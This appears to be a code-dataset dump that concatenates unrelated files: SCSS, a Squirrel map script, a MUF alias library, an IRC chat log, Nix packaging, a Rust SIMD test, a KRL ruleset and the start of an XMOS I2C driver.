content stringlengths 4 1.04M | lang stringclasses 358
values | score int64 0 5 | repo_name stringlengths 5 114 | repo_path stringlengths 4 229 | repo_licenses listlengths 1 8 |
|---|---|---|---|---|---|
.post-spread {
margin-top: 20px;
text-align: center;
}
.bdshare-slide-button-box a { border: none; }
.bdsharebuttonbox {
display: inline-block;
a { border: none; }
}
| SCSS | 3 | String-Plan/StringPlan | _sass/_common/components/third-party/baidushare.scss | [
"MIT"
] |
untyped
global function CodeCallback_MapInit
const float PLATFORM_TRAVEL_TIME = 20.0
struct {
array<entity> platformMoverNodes
entity platformMover
} file
void function CodeCallback_MapInit()
{
AddCallback_EntitiesDidLoad( BobMap_EntitiesDidLoad )
}
void function BobMap_EntitiesDidLoad()
{
BobMap_InitTempProps()
file.platformMoverNodes = GetEntityLinkChain( GetEntByScriptName( "mp_bob_movingplatform_node_0" ) )
file.platformMover = GetEntByScriptName( "mp_bob_movingplatform" )
file.platformMover.SetOrigin( file.platformMoverNodes[ 0 ].GetOrigin() )
entity platformProp = CreatePropDynamic( file.platformMover.GetValueForModelKey(), file.platformMover.GetOrigin(), file.platformMover.GetAngles() )
platformProp.SetParent( file.platformMover )
thread MovingPlatformThink()
}
void function MovingPlatformThink()
{
int currentNodeIdx = 0
while ( true )
{
file.platformMover.SetOrigin( file.platformMoverNodes[ currentNodeIdx % file.platformMoverNodes.len() ].GetOrigin() )
file.platformMover.MoveTo( file.platformMoverNodes[ ++currentNodeIdx % file.platformMoverNodes.len() ].GetOrigin(), PLATFORM_TRAVEL_TIME, 0, 0 )
}
} | Squirrel | 4 | GeckoEidechse/NorthstarMods | Northstar.Custom/mod/scripts/vscripts/mp/levels/mp_bob.nut | [
"MIT"
] |
@program lib-alias.muf
1 1000 d
i
( lib-alias by Natasha@HLM
Library for general #alias feature for multiple programs.
alias-expand { dbPlayer strNames -- arrDb }
Expands the given space-delimited list of names into an array of players'
dbrefs, expanding aliases where necessary. Unrecognized names are displayed
to the user.
alias-expand-quiet { dbPlayer strNames -- arrDb arrUnknown }
As alias-expand, but unrecognized names are returned as an array of strings
{arrUnknown}.
alias-tell-unknown { arrUnknown -- }
Tell the user the strings in arrUnknown are unrecognized aliases. You should
probably only use this on an array you got from alias-expand-quiet.
alias-get { db str -- str' }
Expands the given db's given alias. Does not expand global aliases.
cmd-alias { strY strZ [db] -- }
Decodes command arguments strY and strZ as from $lib/strings' STRparse,
setting the alias strY to the names in strZ. If db is given, aliases
are stored and read from that object; otherwise, "me @" is used. If
both strY and strZ are null, lists all the object's aliases. If strY
is null but not strZ, lists all the object's aliases that contain strY.
alias-global-registry { -- db }
Returns the dbref of the global alias registry, suitable for use with
alias-get and cmd-alias.
pmatch { str -- db } or .pmatch { str -- db }
Match the given string as a name or alias, returning the first resulting
player. The alias may still expand to more than one player, but only the
first will be returned.
Copyright 2002 Natasha Snunkmeox. Copyright 2002 Here Lie Monsters.
"@view $box/mit" for license information.
Version history:
1.0: cleaned up for submission to Akari's repository
1.1, 27 March 2003: Added pmatch and .pmatch aliases. Don't keep
expanding recursive aliases. Don't barf on empty strings.
Lib-version history:
1.0: original
1.1, 27 March 2003: added pmatch and .pmatch
)
$author Natasha Snunkmeox <natmeox@neologasm.org>
$version 1.1
$lib-version 1.1
$note Library for general #alias feature for multiple programs.
$include $lib/strings
$pubdef prop_aliases "_prefs/alias/a%s"
$pubdef alias-get prop_aliases fmtstring getpropstr
$include $lib/alias
$def prop_aliasesdir "_prefs/alias/"
$def prop_globalowner "_aliasowner/%s"
: rtn-expand-quiet ( dbPlayer strAlias -- arrDb arrUnknown } Given a player and a space-delimited string of names and aliases, return an array of the referred players' dbrefs and an array of the unrecognized names. )
dup not if pop pop 0 array_make 0 array_make exit then ( dbPlayer strAlias )
0 array_make var! unknownNames ( dbPlayer strAlias )
" " explode_array ( dbPlayer arrAliases )
0 array_make swap ( dbPlayer arrDb arrAliases )
6 var! recurses ( dbPlayer arrDb arrAliases )
begin dup recurses @ and recurses -- while ( dbPlayer arrDb arrAliases )
0 array_make swap ( dbPlayer arrDb arrAliases' arrAliases )
foreach swap pop ( dbPlayer arrDb arrAliases' strAlias )
( Empty string? )
dup not if pop continue then ( dbPlayer arrDb arrAliases' strAlias )
( Player name? )
dup \pmatch dup ok? if ( dbPlayer arrDb arrAliases' strAlias db )
swap pop ( dbPlayer arrDb arrAliases' db )
rot array_appenditem ( dbPlayer arrAliases' arrDb )
swap continue ( dbPlayer arrDb arrAliases' )
then pop ( dbPlayer arrDb arrAliases' strAlias )
( Alias? )
4 pick over prop_aliases fmtstring getpropstr ( dbPlayer arrDb arrAliases' strAlias strAlias' )
dup not if pop alias-global-registry over prop_aliases fmtstring getpropstr then ( dbPlayer arrDb arrAliases' strAlias strAlias' )
dup if ( dbPlayer arrDb arrAliases' strAlias strAlias' )
swap pop ( dbPlayer arrDb arrAliases' strAlias' )
" " explode_array array_union ( dbPlayer arrDb arrAliases' )
continue
then pop ( dbPlayer arrDb arrAliases' strAlias )
( Partial player name? )
dup part_pmatch dup ok? if ( dbPlayer arrDb arrAliases' strAlias db )
swap pop rot array_appenditem swap continue ( dbPlayer arrDb arrAliases' )
then pop ( dbPlayer arrDb arrAliases' strAlias )
( No recognizable name. )
unknownNames @ array_appenditem unknownNames ! ( dbPlayer arrDb arrAliases' )
repeat ( dbPlayer arrDb arrAliases' )
repeat pop swap pop ( arrDb )
unknownNames @ ( arrDb arrUnknown )
;
: rtn-tell-unknown ( arrUnknown -- )
dup if
dup array_last pop array_cut array_vals pop ( arrUnknown strLastName )
over if ( arrUnknown strLastName )
swap ", " array_join ( strLastName strNames )
"I don't recognize the names: %s and %s." fmtstring .tellbad ( )
else
"I don't recognize the name '%s'." fmtstring .tellbad ( arrEmpty )
pop ( )
then ( )
else pop then ( )
;
: rtn-expand rtn-expand-quiet rtn-tell-unknown ;
: cmd-set ( strY strZ [db] -- )
dup dbref? not if me @ then var! proploc
over not if ( strY strZ )
swap pop ( strZ )
dup if ( strZ )
dup "Aliases containing '%s':" fmtstring .tellgood ( strZ )
tolower ( strZ )
proploc @ prop_aliasesdir array_get_propvals foreach ( strZ strProp strValue )
dup tolower 4 pick instr if ( strZ strProp strValue )
swap 1 strcut swap pop " %s: %s" fmtstring .tell ( strZ )
else pop pop then ( strZ )
repeat pop ( )
else
pop "Aliases:" .tellgood ( )
proploc @ prop_aliasesdir array_get_propvals foreach ( strProp strValue )
swap 1 strcut swap pop " %s: %s" fmtstring .tell ( )
repeat ( )
then
"Done." .tellgood exit ( )
then ( strY strZ )
( Global? )
proploc @ alias-global-registry dbcmp ( strY strZ boolGlobal )
dup var! globalp ( strY strZ boolGlobal )
if ( strY strZ )
( Yes; do I@ have permission to do that? )
alias-global-registry 3 pick prop_globalowner fmtstring getprop ( strY strZ ?Owner )
dup dbref? if me @ dbcmp else pop 1 then ( strY strZ boolControls } If no owner, everyone controls it. )
me @ .wizard? or not if ( strY strZ )
pop "You don't control the global alias '%s'." fmtstring .tellbad ( )
exit ( )
then ( strY strZ )
then ( strY strZ )
proploc @ 3 pick prop_aliases fmtstring rot ( strY dbMe strProp strZ )
dup if
setprop ( strY )
"Alias '%s' set." ( strY strMsg )
globalp @ if ( strY strMsg )
alias-global-registry 3 pick prop_globalowner fmtstring me @ setprop ( strY strMsg )
then ( strY strMsg )
else
pop remove_prop
"Alias '%s' cleared."
globalp @ if ( strY strMsg )
alias-global-registry 3 pick prop_globalowner fmtstring remove_prop ( strY strMsg )
then ( strY strMsg )
then ( strY strMsg )
fmtstring .tellgood ( )
;
: do-help pop pop .showhelp ;
: do-global alias-global-registry cmd-set ;
$def dict_commands { 0 'cmd-set "global" 'do-global "help" 'do-help }dict
: main ( str -- )
STRparse ( strX strY strZ )
rot dict_commands over array_getitem dup address? if ( strY strZ strX ? )
swap pop execute ( )
else ( strY strZ strX ? )
pop "I don't know what you mean by '#%s'." fmtstring .tellbad ( strY strZ )
pop pop ( )
then ( )
;
PUBLIC rtn-expand
PUBLIC rtn-expand-quiet
PUBLIC rtn-tell-unknown
PUBLIC cmd-set
$pubdef ref_lib_alias "$lib/alias" match
$pubdef alias-expand ref_lib_alias "rtn-expand" call
$pubdef alias-expand-quiet ref_lib_alias "rtn-expand-quiet" call
$pubdef alias-tell-unknown ref_lib_alias "rtn-tell-unknown" call
$pubdef cmd-alias ref_lib_alias "cmd-set" call
$pubdef pmatch me @ swap alias-expand-quiet pop dup if 0 array_getitem else pop #-1 then
$pubdef .pmatch pmatch
.
c
q
@register lib-alias=lib/alias
@set lib-alias=l
@set lib-alias=v
@set $lib/alias=_defs/alias-global-registry:"$lib/alias" match
@edit $lib/alias
c
q
lsedit $lib/alias=_help
.del 1 $
alias
alias [#global] <alias>=<names>
alias [#global] <alias>=
Shows your aliases, sets an alias, or clears an alias, respectively. Aliases are names for groups of people, or names . You can use them in page, whisper, and other programs. Aliases can be nested up to five times. Using the #global flag makes global aliases. Once a global alias is set, only the person who set it can change or clear it.
.format 5=78
.end
| MUF | 4 | natmeox/hlm-suite | lib-alias.muf | [
"MIT"
] |
2016-03-02 21:10:23 fsociety https://u.teknik.io/GSpDn.png
2016-03-02 21:10:23 - [error406_] is away: Away (I'm not here right now)
2016-03-02 21:10:27 fsociety success sir
2016-03-03 10:50:52 fsociety hey sir
2016-03-03 10:50:52 - [error406_] is away: Away (I'm not here right now)
2016-03-03 11:19:44 error406_ heyhey! lol missed your other texts til late last night.. left my phone downstairs and didn't look at pidgin this mornin!
2016-03-03 11:19:44 error406_
2016-03-03 11:19:44 error406_ I sent you thoise pics ytesterday, I'll scroll up n send u the link =P
2016-03-03 11:20:00 error406_ https://photos.google.com/share/AF1QipNbXzHQy0tbwwEJGm-m_QbABkjyOPHgeiLUJVnIv4ngyyhxKdIPAeDreF5ZYSHLkg?key=enpSNUVFQmtIZEVWSFJEbjBpaGxyRVhsSWIxMklR
2016-03-03 11:20:22 fsociety haha all good
2016-03-03 11:20:34 fsociety yeah for some unknown reason it wouldnt package with binaries as if it couldnt find them
2016-03-03 11:20:34 error406_ how u doin? have fun getting ue4 workin?
2016-03-03 11:20:37 fsociety got no idea why
2016-03-03 11:20:44 error406_ weird!
2016-03-03 11:20:55 fsociety but i got it to run, cooked the whole thing which took ages and ran it
2016-03-03 11:21:24 fsociety ill probably go on the ue4 irc chan and see what they say. i know its something to do with the git build and there is probably a work around
2016-03-03 11:21:29 error406_ weird it took a long time, doesn't take very long to do that step on pc...
2016-03-03 11:21:47 fsociety oh its because the first time round the linux ue4 editor has to convert all the shaders
2016-03-03 11:21:52 fsociety cause of opengl
2016-03-03 11:21:55 error406_ might not utilise the graphgics card in the same way or somthing... that's all I can think of
2016-03-03 11:22:05 error406_ ohh... yeah that makes sense
2016-03-03 11:22:23 fsociety but it ran smooth as butter on 2k with only one 970
2016-03-03 11:22:50 fsociety tonight i'll install ue4 on windows and see if cross-compiling on linux is easier
2016-03-03 11:22:55 fsociety actually can you look for me now if possible
2016-03-03 11:23:02 fsociety since you are probably using it right now
2016-03-03 11:27:47 error406_ well I have a package for linux button here if that's what you mean heheh
2016-03-03 11:29:22 fsociety press it
2016-03-03 11:29:23 fsociety see if it works
2016-03-03 11:29:25 fsociety lol
2016-03-03 11:29:46 fsociety so i sent those photos to meg in an mms. hopefully she laughs out loud in the middle of her class and embarrases herself
2016-03-03 11:33:40 error406_ lol I'm in the middle of doing AI =P I will press it for you later today dun worry hehe
2016-03-03 11:39:07 fsociety *hyperventilates*
2016-03-03 11:39:25 fsociety i looked into ue4 a bit more i see the paper2d plugin is what you use for 2d stuff :)
2016-03-03 14:38:37 fsociety how has your day been going
2016-03-03 16:45:24 error406_ hey sorry got fed up with ue4 earlier n went to relax a bit heheh
2016-03-03 16:45:54 fsociety hahahaha. screw you fookin ue4.. grumble grumble grumble
2016-03-03 16:47:51 error406_ yeah went and built Wall-e heheh
2016-03-03 16:51:07 fsociety so there is game coming out next tuesday that has cupcake in it and it will be on steam
2016-03-03 16:51:09 fsociety called shardlight
2016-03-03 16:51:18 fsociety my game developer friends put him in the game, sample meow and all
2016-03-03 16:51:25 fsociety cupcake is a celebrity
2016-03-03 16:51:34 fsociety they adore him
2016-03-03 16:51:34 fsociety haha
2016-03-03 16:57:39 error406_ hahaha nice, will take a look!
2016-03-03 16:57:48 error406_ k I'm going to test compile for ya now heheh
2016-03-03 17:05:04 fsociety go coooooompile
2016-03-03 17:05:06 fsociety raaaaaahhhh
2016-03-03 17:05:08 fsociety sonic boom
2016-03-03 17:05:12 fsociety arrryun
2016-03-03 17:05:15 fsociety arrryuken
2016-03-03 17:22:46 error406_ SHORYUKEN!
2016-03-03 17:23:58 fsociety success?
2016-03-03 17:26:06 error406_ lol nash compile for linux takes you to a help page hehe
2016-03-03 17:26:06 error406_ seems like you gotta set up some stuff in your project first...
2016-03-03 17:27:27 error406_ I'm going to leave that one in your capable hands hahah
2016-03-03 17:35:35 fsociety haha. so it hasn't changed after all
2016-03-03 17:38:05 error406_ well it has the optrion now, it just requires a tiny bit of setup =P couldn't do it at all before!
2016-03-03 17:38:18 error406_ and I'm just too lazy to do it hehe
2016-03-03 23:51:14 < error406_ (error406@error418.info) has quit (Leaving...)
2016-03-03 23:51:14 > error406_ (error406@error418.info) is back on server
2016-03-04 10:41:37 error406_ wazzawazzadeanymozza
2016-03-04 10:42:13 error406_ did u get your hdd stuff all fixed
2016-03-04 10:42:15 error406_ ?
2016-03-04 10:45:12 error406_ boop
2016-03-04 12:34:40 error406_ HAMANAH HAMANAH
2016-03-04 12:34:51 error406_ did u send those pics to meg?
2016-03-04 16:47:04 < error406_ (error406@error418.info) has quit (Leaving...)
2016-03-04 16:47:04 > error406_ (error406@error418.info) is back on server
2016-03-08 10:24:18 error406_ boop
2016-03-08 10:25:10 fsociety i found my new OS
2016-03-08 10:25:14 fsociety aros.sourceforge.net
2016-03-08 10:25:27 fsociety or templeos.org
2016-03-08 10:25:30 fsociety cant make up my mind
2016-03-08 10:25:33 fsociety hahahahahaha
2016-03-08 10:29:22 fsociety join me phil
2016-03-08 10:29:24 fsociety JOOOIINN ME
2016-03-08 10:29:35 fsociety i know i'm the most obscure computer user you know
2016-03-08 10:29:55 fsociety i doubt you'd know anyone who comes close in using a computer in the most obscure way possible
2016-03-08 10:29:56 fsociety haha
2016-03-08 10:35:05 error406_ lol sorry you are on your own... I wanna like use my computer haha
2016-03-08 10:35:13 error406_ to do like, things
2016-03-08 10:35:30 fsociety i do things
2016-03-08 10:35:36 fsociety you just dont understand what i do
2016-03-08 10:35:39 fsociety lol
2016-03-08 10:35:50 fsociety i'm all mysterious and shit.. ooooo. *waves fingers*
2016-03-08 10:36:33 error406_ hahahahah
2016-03-08 10:36:33 error406_ ok I'll rephrase that.. I wanna like.. use, like.. actual programs hahah
2016-03-08 10:38:33 fsociety i use actual programs
2016-03-08 10:38:54 fsociety i think you need to rethink your terminology of computer lingo
2016-03-08 10:39:12 fsociety what is your definition of "actual programs"
2016-03-08 10:39:26 fsociety time for me to push your buttons for a change.. teehee
2016-03-08 10:39:50 error406_ you know, ones that matter hahahah
2016-03-08 10:40:35 fsociety you are still being aloof
2016-03-08 10:40:46 error406_ *pushypushy*
2016-03-08 10:41:05 error406_ ahh I'm just bein a smartass
2016-03-08 10:41:49 error406_ did u have fun with unreal btw?
2016-03-08 10:43:51 fsociety haha
2016-03-08 10:43:57 fsociety looked at paper2d
2016-03-08 10:44:16 fsociety blueprints is great for prototyping, but to do real awesome stuff. you still need to do a bit of c++ i discovered
2016-03-08 10:46:52 fsociety i've decided from next pay im going to hunt down computer oddities
2016-03-08 10:47:04 fsociety like the atari falcon and tt
2016-03-08 10:47:20 fsociety as you can see i've finally lost the plot
2016-03-08 10:48:45 fsociety http://www.ebay.com.au/itm/ULTRA-RARE-VINTAGE-ATARI-FALCON-030-COMPUTER-VGC-/301517364975?hash=item4633d5deef:m:m8kwJbJwTbc8bywBPZKEjxw
2016-03-08 10:48:48 fsociety dont come cheap mind you
2016-03-08 10:49:06 error406_ hahah I dunno if u ever had the plot did ya? that's half the fun!
2016-03-08 10:49:06 error406_
2016-03-08 10:49:06 error406_ lol was just about to look for them on ebay too heh
2016-03-08 10:50:39 fsociety haha really
2016-03-08 10:50:46 fsociety when did our thought process line up
2016-03-08 10:50:49 fsociety this is rare
2016-03-08 10:50:49 fsociety lol
2016-03-08 10:52:38 error406_ heheh well when u want something old and obscure it's the best place to go!
2016-03-08 10:52:38 error406_ btw if u collecting oddities, you NEED this::
2016-03-08 10:52:38 error406_ http://www.ebay.com.au/itm/Brand-New-Nintendo-Virtual-Boy-Console-System-Boxed-/181525458683?hash=item2a43c2aefb:g:K7QAAOxy63FSzMAj
2016-03-08 10:54:09 fsociety that is surprisingly cheap compared to the atari pc
2016-03-08 10:55:58 fsociety so i discovered a demoscene vid the other day, of a guy who produced over 1000 colours in CGA
2016-03-08 10:56:00 fsociety i'll find
2016-03-08 10:56:03 fsociety it's fucking amazing
2016-03-08 10:56:28 error406_ rofl.. flicking other colours really fast or something?
2016-03-08 10:56:45 fsociety nope
2016-03-08 10:56:47 fsociety you'll see
2016-03-08 10:57:00 fsociety by abusing the ntsc composite display burst rate
2016-03-08 10:57:15 fsociety http://hackaday.com/2015/04/10/demoing-an-8088/
2016-03-08 10:57:27 fsociety it's probably the most impressive demo i've ever seen period
2016-03-08 10:57:37 fsociety it won the demoscene comp last year
2016-03-08 10:57:40 fsociety and you'll see why
2016-03-08 10:58:54 fsociety ooo.. http://int10h.org/oldschool-pc-fonts/
2016-03-08 11:04:51 error406_ lol that wasn't bad for 16 colours heheh
2016-03-08 11:06:47 fsociety its more than 16 colours
2016-03-08 11:06:55 fsociety have you watched the whole thing
2016-03-08 11:07:29 error406_ "for a display designed to produce 16 colours" =P
2016-03-08 11:07:43 fsociety its pretty amazing
2016-03-08 11:07:53 fsociety it breaks all emulators
2016-03-08 11:07:55 fsociety i loved that about it
2016-03-08 12:47:34 error406_ sorry got distracted by work! lol on that note did u ever get that game u wanted that was alll 8bitty?
2016-03-08 12:49:20 error406_ http://imgur.com/gallery/PshTF
2016-03-08 12:55:07 fsociety cupcake-birds now there is something i want to see
2016-03-08 12:55:10 fsociety and yes i did get that DOS gamer
2016-03-08 12:55:12 fsociety game*
2016-03-08 12:57:43 error406_ was it any good in the end?
2016-03-08 12:57:43 error406_ lol yeah when is cupcakes game out lol
2016-03-08 13:04:19 error406_ btw u seen no mans sky? I think that it looks pretty awesome
2016-03-08 13:06:03 fsociety i haven't played it yet
2016-03-08 13:06:10 fsociety still getting through other games
2016-03-08 13:06:11 fsociety haha
2016-03-08 13:09:51 error406_ oh it's not out yet, looks awesome tho!
2016-03-08 13:10:03 error406_ oh u mean the other game? hahah
2016-03-08 13:11:27 fsociety haha yeah
2016-03-08 13:11:44 fsociety tonight the game about cupcake gets released
2016-03-08 13:11:49 fsociety well he has a guest appearance
2016-03-08 13:12:45 error406_ I hope you get a free copy, for cat usage rights hehe
2016-03-08 13:13:08 fsociety haha yeah ben304 is giving me a copy
2016-03-08 13:13:24 fsociety its called the creative cupcake license
2016-03-08 13:13:46 error406_ hehehehe
2016-03-08 13:13:46 error406_ sp what kinda game is it?
2016-03-08 13:13:57 fsociety look up shardlight on steam
2016-03-08 14:10:59 fsociety so i went all amiga in my terminal windows
2016-03-08 14:11:00 fsociety https://u.teknik.io/xlg9u.png
2016-03-08 14:11:11 fsociety have i lost my mind yet. maybe.. but boy do i like the font
2016-03-08 14:27:06 error406_ hahaha
2016-03-08 14:27:06 error406_ I can't really tell the difference sorry hehe
2016-03-08 14:27:17 fsociety ITS AMIIIGGAAA
2016-03-08 14:27:25 fsociety actually i fixed the font up a bit.. removed hinting
2016-03-08 14:27:33 fsociety i'll take a screenie of this exact chat window
2016-03-08 14:29:09 fsociety https://u.teknik.io/MCQFh.png
| IRC log | 0 | 0x4b1dN/2016-dots | misc/weechat/logs/irc.bitlbee.error406_.weechatlog | [
"MIT"
] |
{ stdenv
, fetchFromGitHub
, lib
}:
stdenv.mkDerivation rec {
pname = "nordzy-cursor-theme";
version = "0.1.0";
src = fetchFromGitHub {
owner = "alvatip";
repo = "Nordzy-cursors";
rev = "v${version}";
sha256 = "XabfKFyeII7Xl+ozzpPnc4xFH4B7GzCTLq4M1QPSZPw=";
};
installPhase = ''
mkdir -p $out/share/icons
cp -r nordzy-dark/ $out/share/icons/Nordzy-cursors
mv $out/share/icons/Nordzy-cursors/index.theme $out/share/icons/Nordzy-cursors/cursor.theme
mv $out/share/icons/Nordzy-cursors/Nordzy-cursors $out/share/icons/Nordzy-cursors/cursors
cp -r nordzy-white/ $out/share/icons/Nordzy-white-cursors
mv $out/share/icons/Nordzy-white-cursors/index.theme $out/share/icons/Nordzy-white-cursors/cursor.theme
mv $out/share/icons/Nordzy-white-cursors/Nordzy-white-cursors $out/share/icons/Nordzy-white-cursors/cursors
'';
meta = with lib; {
description = "Cursor theme using the Nord color palette and based on Vimix and cz-Viator";
homepage = "https://github.com/alvatip/Nordzy-cursors";
license = licenses.gpl3;
platforms = platforms.all;
maintainers = with maintainers; [
alexnortung
];
};
}
| Nix | 3 | siddhantk232/nixpkgs | pkgs/data/icons/nordzy-cursor-theme/default.nix | [
"MIT"
] |
{ lib, pkgs, config, ... }:
with lib;
let
cfg = config.services.zfs.autoReplication;
recursive = optionalString cfg.recursive " --recursive";
followDelete = optionalString cfg.followDelete " --follow-delete";
in {
options = {
services.zfs.autoReplication = {
enable = mkEnableOption "ZFS snapshot replication.";
followDelete = mkOption {
description = "Remove remote snapshots that don't have a local correspondant.";
default = true;
type = types.bool;
};
host = mkOption {
description = "Remote host where snapshots should be sent. <literal>lz4</literal> is expected to be installed on this host.";
example = "example.com";
type = types.str;
};
identityFilePath = mkOption {
description = "Path to SSH key used to login to host.";
example = "/home/username/.ssh/id_rsa";
type = types.path;
};
localFilesystem = mkOption {
description = "Local ZFS fileystem from which snapshots should be sent. Defaults to the attribute name.";
example = "pool/file/path";
type = types.str;
};
remoteFilesystem = mkOption {
description = "Remote ZFS filesystem where snapshots should be sent.";
example = "pool/file/path";
type = types.str;
};
recursive = mkOption {
description = "Recursively discover snapshots to send.";
default = true;
type = types.bool;
};
username = mkOption {
description = "Username used by SSH to login to remote host.";
example = "username";
type = types.str;
};
};
};
config = lib.mkIf cfg.enable {
environment.systemPackages = [
pkgs.lz4
];
systemd.services.zfs-replication = {
after = [
"zfs-snapshot-daily.service"
"zfs-snapshot-frequent.service"
"zfs-snapshot-hourly.service"
"zfs-snapshot-monthly.service"
"zfs-snapshot-weekly.service"
];
description = "ZFS Snapshot Replication";
documentation = [
"https://github.com/alunduil/zfs-replicate"
];
restartIfChanged = false;
serviceConfig.ExecStart = "${pkgs.zfs-replicate}/bin/zfs-replicate${recursive} -l ${escapeShellArg cfg.username} -i ${escapeShellArg cfg.identityFilePath}${followDelete} ${escapeShellArg cfg.host} ${escapeShellArg cfg.remoteFilesystem} ${escapeShellArg cfg.localFilesystem}";
wantedBy = [
"zfs-snapshot-daily.service"
"zfs-snapshot-frequent.service"
"zfs-snapshot-hourly.service"
"zfs-snapshot-monthly.service"
"zfs-snapshot-weekly.service"
];
};
};
meta = {
maintainers = with lib.maintainers; [ alunduil ];
};
}
| Nix | 5 | collinwright/nixpkgs | nixos/modules/services/backup/zfs-replication.nix | [
"MIT"
] |
// compile-flags: -C no-prepopulate-passes
#![crate_type = "lib"]
#![feature(repr_simd, platform_intrinsics)]
#![allow(non_camel_case_types)]
#[repr(simd)]
#[derive(Copy, Clone, PartialEq, Debug)]
pub struct f32x2(pub f32, pub f32);
#[repr(simd)]
#[derive(Copy, Clone, PartialEq, Debug)]
pub struct f32x4(pub f32, pub f32, pub f32, pub f32);
#[repr(simd)]
#[derive(Copy, Clone, PartialEq, Debug)]
pub struct f32x8(pub f32, pub f32, pub f32, pub f32,
pub f32, pub f32, pub f32, pub f32);
#[repr(simd)]
#[derive(Copy, Clone, PartialEq, Debug)]
pub struct f32x16(pub f32, pub f32, pub f32, pub f32,
pub f32, pub f32, pub f32, pub f32,
pub f32, pub f32, pub f32, pub f32,
pub f32, pub f32, pub f32, pub f32);
extern "platform-intrinsic" {
fn simd_fsqrt<T>(x: T) -> T;
}
// CHECK-LABEL: @fsqrt_32x2
#[no_mangle]
pub unsafe fn fsqrt_32x2(a: f32x2) -> f32x2 {
// CHECK: call <2 x float> @llvm.sqrt.v2f32
simd_fsqrt(a)
}
// CHECK-LABEL: @fsqrt_32x4
#[no_mangle]
pub unsafe fn fsqrt_32x4(a: f32x4) -> f32x4 {
// CHECK: call <4 x float> @llvm.sqrt.v4f32
simd_fsqrt(a)
}
// CHECK-LABEL: @fsqrt_32x8
#[no_mangle]
pub unsafe fn fsqrt_32x8(a: f32x8) -> f32x8 {
// CHECK: call <8 x float> @llvm.sqrt.v8f32
simd_fsqrt(a)
}
// CHECK-LABEL: @fsqrt_32x16
#[no_mangle]
pub unsafe fn fsqrt_32x16(a: f32x16) -> f32x16 {
// CHECK: call <16 x float> @llvm.sqrt.v16f32
simd_fsqrt(a)
}
#[repr(simd)]
#[derive(Copy, Clone, PartialEq, Debug)]
pub struct f64x2(pub f64, pub f64);
#[repr(simd)]
#[derive(Copy, Clone, PartialEq, Debug)]
pub struct f64x4(pub f64, pub f64, pub f64, pub f64);
#[repr(simd)]
#[derive(Copy, Clone, PartialEq, Debug)]
pub struct f64x8(pub f64, pub f64, pub f64, pub f64,
pub f64, pub f64, pub f64, pub f64);
// CHECK-LABEL: @fsqrt_64x4
#[no_mangle]
pub unsafe fn fsqrt_64x4(a: f64x4) -> f64x4 {
// CHECK: call <4 x double> @llvm.sqrt.v4f64
simd_fsqrt(a)
}
// CHECK-LABEL: @fsqrt_64x2
#[no_mangle]
pub unsafe fn fsqrt_64x2(a: f64x2) -> f64x2 {
// CHECK: call <2 x double> @llvm.sqrt.v2f64
simd_fsqrt(a)
}
// CHECK-LABEL: @fsqrt_64x8
#[no_mangle]
pub unsafe fn fsqrt_64x8(a: f64x8) -> f64x8 {
// CHECK: call <8 x double> @llvm.sqrt.v8f64
simd_fsqrt(a)
}
| Rust | 4 | mbc-git/rust | src/test/codegen/simd-intrinsic/simd-intrinsic-float-fsqrt.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
ruleset io.picolabs.collection {
meta {
use module io.picolabs.wrangler alias wrangler
shares __testing, getManifoldInfo
//provides
}
global {
__testing =
{ "queries": [ { "name": "__testing", "name":"getManifoldPico" },
{ "name": "__testing", "name":"getManifoldInfo" }],
"events": [ { "domain": "manifold", "type": "create_thing",
"attrs": [ "name" ] } ] }
}
rule initialization {
select when wrangler ruleset_added where rids.klog("rids") >< meta:rid.klog("meta rid")
pre{}
noop()
fired{
}
}
rule addThingToCollection {
select when manifold thing_added_to_collection
pre {}
noop()
fired{
raise wrangler event "subscription"
attributes {"Rx_role" : "manifold_master",
"Tx_role" : "manifold_slave",
"wellKnown_Tx": event:attr("wellKnown_Tx"),//wrangler:skyQuery( eci , "io.picolabs.subscription", "wellKnown_Rx"){"id"},
"channel_type": "Manifold_collection",
"Tx_Rx_Type" : "Manifold" };//auto accepted
}
}
// remove thing from collection
rule installCollectionRulesets {
select when manifold install_collection
pre {}
noop()
fired{
raise wrangler event "install_rulesets_requested"
attributes event:attrs;
}
}
}
| KRL | 4 | Picolab/ManifoldRewrite | Manifold_krl/io.picolabs.collection.krl | [
"MIT"
] |
// Copyright (c) 2011, XMOS Ltd, All rights reserved
// This software is freely distributable under a derivative of the
// University of Illinois/NCSA Open Source License posted in
// LICENSE.txt and at <http://github.xcore.com/>
// I2C master
#include <xs1.h>
#include <xclib.h>
#include <stdio.h>
#include "i2c.h"
#define SDA_LOW 0
#define SCL_LOW 0
void i2c_master_init(struct r_i2c &i2cPorts) {
i2cPorts.p_i2c :> void; // Drive all high
#ifdef __XS2A__
set_port_drive_low(i2cPorts.p_i2c);
#endif
}
static void waitQuarter(void) {
timer gt;
int time;
gt :> time;
time += (I2C_BIT_TIME + 3) / 4;
gt when timerafter(time) :> int _;
}
static void waitHalf(void) {
waitQuarter();
waitQuarter();
}
static void waitAfterNACK(port p_i2c) {
timer gt;
int time;
gt :> time;
time += (I2C_REPEATED_START_DELAY * XS1_TIMER_MHZ); // I2C_REPEATED_START_DELAY in us
gt when timerafter(time) :> int _;
p_i2c :> void; // Allow SCL to float high ahead of repeated start bit
}
static void highPulseDrive(port i2c, int sdaValue) {
if (sdaValue) {
i2c <: SDA_HIGH | SCL_LOW | S_REST;
waitQuarter();
#ifdef __XS2A__
i2c <: SDA_HIGH | SCL_HIGH | S_REST;
#else
i2c :> void;
#endif
waitHalf();
i2c <: SDA_HIGH | SCL_LOW | S_REST;
waitQuarter();
} else {
i2c <: SDA_LOW | SCL_LOW | S_REST;
waitQuarter();
i2c <: SDA_LOW | SCL_HIGH | S_REST;
waitHalf();
i2c <: SDA_LOW | SCL_LOW | S_REST;
waitQuarter();
}
}
static int highPulseSample(port i2c, int expectedSDA) {
#ifdef __XS2A__
i2c <: SDA_HIGH | SCL_LOW | S_REST;
waitQuarter();
i2c <: SDA_HIGH | SCL_HIGH | S_REST;
#else
i2c <: (expectedSDA ? SDA_HIGH : 0) | SCL_LOW | S_REST;
waitQuarter();
i2c :> void;
#endif
waitQuarter();
expectedSDA = peek(i2c) & SDA_HIGH;
waitQuarter();
#ifdef __XS2A__
i2c <: SDA_HIGH | SCL_LOW | S_REST;
#else
i2c <: expectedSDA | SCL_LOW | S_REST;
#endif
waitQuarter();
return expectedSDA;
}
static void startBit(port i2c) {
waitQuarter();
i2c <: SDA_LOW | SCL_HIGH | S_REST;
waitHalf();
